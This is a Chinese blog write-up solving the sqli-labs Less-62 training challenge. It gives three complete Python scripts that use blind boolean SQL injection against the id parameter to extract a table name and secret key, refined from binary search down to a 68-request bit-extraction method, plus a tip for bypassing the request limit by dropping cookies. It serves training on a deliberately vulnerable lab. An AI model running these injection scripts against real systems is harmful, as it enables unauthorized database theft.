sqli-labs靶场Less-62题解(少于130次)

sqli-labs靶场Less-62题目,是通过布尔注入获取一段secret key,该key存于challenges数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。

靶场搭建

直接用docker搭建:sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

二分法

该注入点是id参数,SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1,注入时用')闭合。一般思路是先获取存key的表的表名,再获取key所在的列的列名,再获取key。表名有10个字符,由大写字母和数字构成;列名为secret_4个字符,这4个字符由大写字母和数字构成;secret key为24个字符,由大小写字母和数字构成。

下面的脚本采用二分法比较ASCII码来获取数据,请求次数在210次左右。而题目要求是130次内,不过请求不带Cookie可绕过了这个限制。

#!/usr/bin/python3
# -*-coding:utf-8-*-
import requests
import string

"""
表名:10个字符。有大写字母和数字构成
列名:secret_接4个字符,这4个字符由大写字母和数字构成
secret:24个字符,由大小写字母和数字构成
"""

un_chars = string.digits + string.ascii_uppercase  # 按ASCII码从小到大排序
uln_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase  # 按ASCII码从小到大排序
url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_data(tmpl_payload, length, chars):
    global try_count
    result = ""
    for i in range(1, length + 1):
        left, right = 0, len(chars) - 1
        while left < right:
            m = (left + right) // 2  # 左中位数
            payload = tmpl_payload % (i, ord(chars[m]))
            resp = requests.get(url, params={"id": payload})
            try_count += 1  # 统计请求个数
            if "Your Login name" in resp.text:
                left = m + 1
            else:
                right = m
        result += chars[left]

    return result


table_name = extract_data(
    "1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#",
    10, un_chars
)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
    "1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#",
    4, un_chars
)
print("column_name:", column_name)

secret_key = extract_data(
    "1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#",
    24, uln_chars
)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

利用多状态

虽说上面可以绕过尝试次数限制,那如果就要尝试次数在130次内呢。

上面的二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,响应里有两种状态:有查询结果和无查询结果。其实响应里存在多个状态,id为1时返回的Login nameAngelina,为2时返回的是Dummy,还有为3,为4,为5等。假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,如:我们要判断某串字符串第i个字符的第j位开始的三个比特是否为:000,001,010,011,100,101,110或111,写成SQL语句就是:

SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2))
    WHEN 0 THEN 1
    WHEN 2**j THEN 2
    WHEN 2**(j+1) THEN 3
    WHEN 2**(j+1) + 2**j THEN 4
    WHEN 2**(j+2) THEN 5
    WHEN 2**(j+2) + 2**j THEN 6
    WHEN 2**(j+2) + 2**(j+1) THEN 7
    ELSE 8
END

因为users表里的数据有13条,也就是13个状态,大于8,小于16,所以每次请求通过比较8个状态获取3个比特的数据。

一个小问题:为什么id为1时,返回的name是Angelina?而数据库里id为1的name是Dumb

因为响应中返回的name是从硬编码在PHP代码里的数组里通过下标获取的,看代码:https://github.com/Audi-1/sqli-labs/blob/886b0dcc733c1a36caf10cfba076397b9e09ce7f/Less-62/index.php#L104

通过上面的思路,编写脚本如下。请求次数减少到114次。

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
    """
    获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
    """
    global try_count

    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    info = {
        "Angelina": "000",
        "Dummy": "001",
        "secure": "010",
        "stupid": "011",
        "superman": "100",
        "batman": "101",
        "admin": "110",
        "admin1": "111"
    }

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    bits = info.get(match.group(1))
    assert bits
    return bits


def extract_data(query, length):
    res = ""
    for i in range(1, length+1):
        b3 = extract_bits(query, i, 0)  # 00000111
        b2 = extract_bits(query, i, 3)  # 00111000
        b1 = extract_bits(query, i, 5)  # 11100000
        bit = b1[:2] + b2 + b3
        res += chr(int(bit, 2))
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    column_name = "secret_" + extract_data(
        "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
        4
    )
    print("column_name:", column_name)

    secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

再减少点次数

上面通过获取表名,再列名,再key。其实也可以不获取列名,只要知道表里有多少列,key所在的列在第几列即可,少点尝试次数。将上面main块的代码改成:

if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)   # 主要改的是这一句
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)

请求次数是102次。

再减少些次数

一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。进到docker容器里(sudo docker exec -it sqli-lab mysql)执行下面SQL语句测试下:

use security

SELECT * FROM users;  # 返回了数据
SELECT * FROM userS;  # 报错,表名不存在
SELECT * FROM users WHERE username='admin';  # 返回admin
SELECT * FROM users WHERE username='ADMIn';  # 还是可以返回admin

再看sqli-labs比较key是否正确的SQL语句(代码在这):

SELECT 1 FROM $table WHERE $col1= '$key';

所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。

再看数字、大写字母、小写字母的ASCII码的二进制格式:

数字: 0011xxxx
大写: 010xxxxx
小写: 011xxxxx

在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可。

编写脚本如下:

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, bit_values: list):
    """
    获取query执行结果的第 i 个(从1开始算)字符的3个比特
    哪3个比特由bit_values指定
    """
    global try_count

    assert len(bit_values) == 8
    bit_marks = 0
    for v in bit_values:
        bit_marks |= v


    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    assert match.group(1) in infos
    bits = bit_values[infos.index(match.group(1))]
    return bits

def extract_data(query, length):
    """
    获取query查询结果的length个字符,每个字符只获取其第7位和前5位
    """
    res = ""
    for i in range(1, length+1):
        b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111])  # 00000111
        b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000])  # 01011000
        if b1 & 0b01000000 == 0:
            # 该字符为数字
            bit = b1 | b2 | 0b00100000
        else:
            # 该字符为字母
            bit = b1 | b2
        res += chr(bit)
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
    print("secret_key:", secret_key)

    print("Done. try_count:", try_count)


请求次数是68次。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容